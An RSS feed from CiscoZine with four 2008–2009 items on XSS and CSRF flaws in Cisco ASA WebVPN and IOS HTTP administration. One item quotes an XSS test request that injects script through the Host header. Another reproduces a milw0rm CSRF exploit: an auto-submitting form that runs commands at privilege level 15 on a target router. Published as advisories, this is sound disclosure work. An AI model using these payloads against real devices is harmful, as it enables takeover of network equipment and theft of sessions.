<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>CiscoZine &#187; CSRF</title>
	<atom:link href="http://www.ciscozine.com/tag/csrf/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.ciscozine.com</link>
	<description>Daily reporting on Cisco technology</description>
	<lastBuildDate>Wed, 08 Feb 2012 09:24:44 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Cisco ASA WebVPN Cross Site Scripting Vulnerability</title>
		<link>http://www.ciscozine.com/2009/04/26/cisco-asa-webvpn-cross-site-scripting-vulnerability/</link>
		<comments>http://www.ciscozine.com/2009/04/26/cisco-asa-webvpn-cross-site-scripting-vulnerability/#comments</comments>
		<pubDate>Sun, 26 Apr 2009 13:30:15 +0000</pubDate>
		<dc:creator>Fabio Semperboni</dc:creator>
				<category><![CDATA[Exploit]]></category>
		<category><![CDATA[Security Advisory]]></category>
		<category><![CDATA[CSRF]]></category>
		<category><![CDATA[Remote Control]]></category>

		<guid isPermaLink="false">http://www.ciscozine.com/?p=707</guid>
		<description><![CDATA[Cisco ASA is prone to a cross-site scripting vulnerability. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials. Cisco ASA software versions 8.0.4(2B) and prior running on ASA 5500 Series Adaptive Security Appliances are vulnerable.   Test vulnerability: An attacker can exploit this issue by enticing an unsuspecting victim to follow a malicious HTTP request.   POST /+webvpn+/index.html HTTP/1.1 Host: "'&#62;&#60;script&#62;alert('BugsNotHugs')&#60;/script&#62;&#60;meta httpequiv="" content='"www.example.org Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Referer: https://www.example.com/+webvpn+/index.html Accept-Language: en-us Content-Type: [...]]]></description>
		<wfw:commentRss>http://www.ciscozine.com/2009/04/26/cisco-asa-webvpn-cross-site-scripting-vulnerability/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cisco IOS Cross-Site Scripting Vulnerabilities</title>
		<link>http://www.ciscozine.com/2009/02/07/cisco-ios-cross-site-scripting-vulnerabilities/</link>
		<comments>http://www.ciscozine.com/2009/02/07/cisco-ios-cross-site-scripting-vulnerabilities/#comments</comments>
		<pubDate>Fri, 06 Feb 2009 23:41:58 +0000</pubDate>
		<dc:creator>Fabio Semperboni</dc:creator>
				<category><![CDATA[Exploit]]></category>
		<category><![CDATA[Security Advisory]]></category>
		<category><![CDATA[CSRF]]></category>

		<guid isPermaLink="false">http://www.ciscozine.com/?p=674</guid>
		<description><![CDATA[Zloss has reported some vulnerabilities in Cisco IOS, which can be exploited by malicious people to conduct cross-site scripting and cross-site request forgery attacks. Input passed via the URL when executing commands is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user&#8217;s browser session in context of an affected site. The device allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to potentially alter the configuration of the device by tricking the user [...]]]></description>
		<wfw:commentRss>http://www.ciscozine.com/2009/02/07/cisco-ios-cross-site-scripting-vulnerabilities/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to test Cisco Cross-Site Request Forgery</title>
		<link>http://www.ciscozine.com/2008/09/18/how-to-test-cisco-cross-site-request-forgery/</link>
		<comments>http://www.ciscozine.com/2008/09/18/how-to-test-cisco-cross-site-request-forgery/#comments</comments>
		<pubDate>Wed, 17 Sep 2008 22:34:01 +0000</pubDate>
		<dc:creator>Fabio Semperboni</dc:creator>
				<category><![CDATA[Exploit]]></category>
		<category><![CDATA[CSRF]]></category>

		<guid isPermaLink="false">http://www.ciscozine.com/?p=245</guid>
		<description><![CDATA[Cisco Router HTTP Administration CSRF Remote Command Execution Universal Exploit. Replace &#8220;10.10.10.1&#8243; with the IP address of the target router, embed this in a web page and hope for the best. This is only for test use. &#60;html&#62; &#60;body&#62; &#60;body onload="asdf.submit();"&#62; &#60;form name=asdf method="post" action="http://10.10.10.1/level/15/exec/-"&#62; &#60;input type=hidden name=command value="show privilege"&#62; &#60;input type=hidden name=command_url value="/level/15/exec/-"&#62; &#60;/body&#62; &#60;/html&#62; # milw0rm.com [2008-09-17]]]></description>
		<wfw:commentRss>http://www.ciscozine.com/2008/09/18/how-to-test-cisco-cross-site-request-forgery/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cisco Cross-Site Request Forgery</title>
		<link>http://www.ciscozine.com/2008/09/18/cisco-cross-site-request-forgery/</link>
		<comments>http://www.ciscozine.com/2008/09/18/cisco-cross-site-request-forgery/#comments</comments>
		<pubDate>Wed, 17 Sep 2008 22:29:14 +0000</pubDate>
		<dc:creator>Fabio Semperboni</dc:creator>
				<category><![CDATA[Security Advisory]]></category>
		<category><![CDATA[CSRF]]></category>

		<guid isPermaLink="false">http://www.ciscozine.com/?p=240</guid>
		<description><![CDATA[Cisco routers with the HTTP administration interface enabled are vulnerable to an CSRF (Cross-Site Request Forgery) vulnerability that can yield remote command execution with level 15 privileges. An attacker can execute ANY command on the router with level 15 (root, same as enable) privileges (usually level 15 user by default) by getting a target user (administrator or etc) to view a web page that has the exploit embedded. The exploits can be modified to, on loading of the page with the exploits embedded, to execute both exec and configure commands on the Cisco router. These exploits have been tested on [...]]]></description>
		<wfw:commentRss>http://www.ciscozine.com/2008/09/18/cisco-cross-site-request-forgery/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

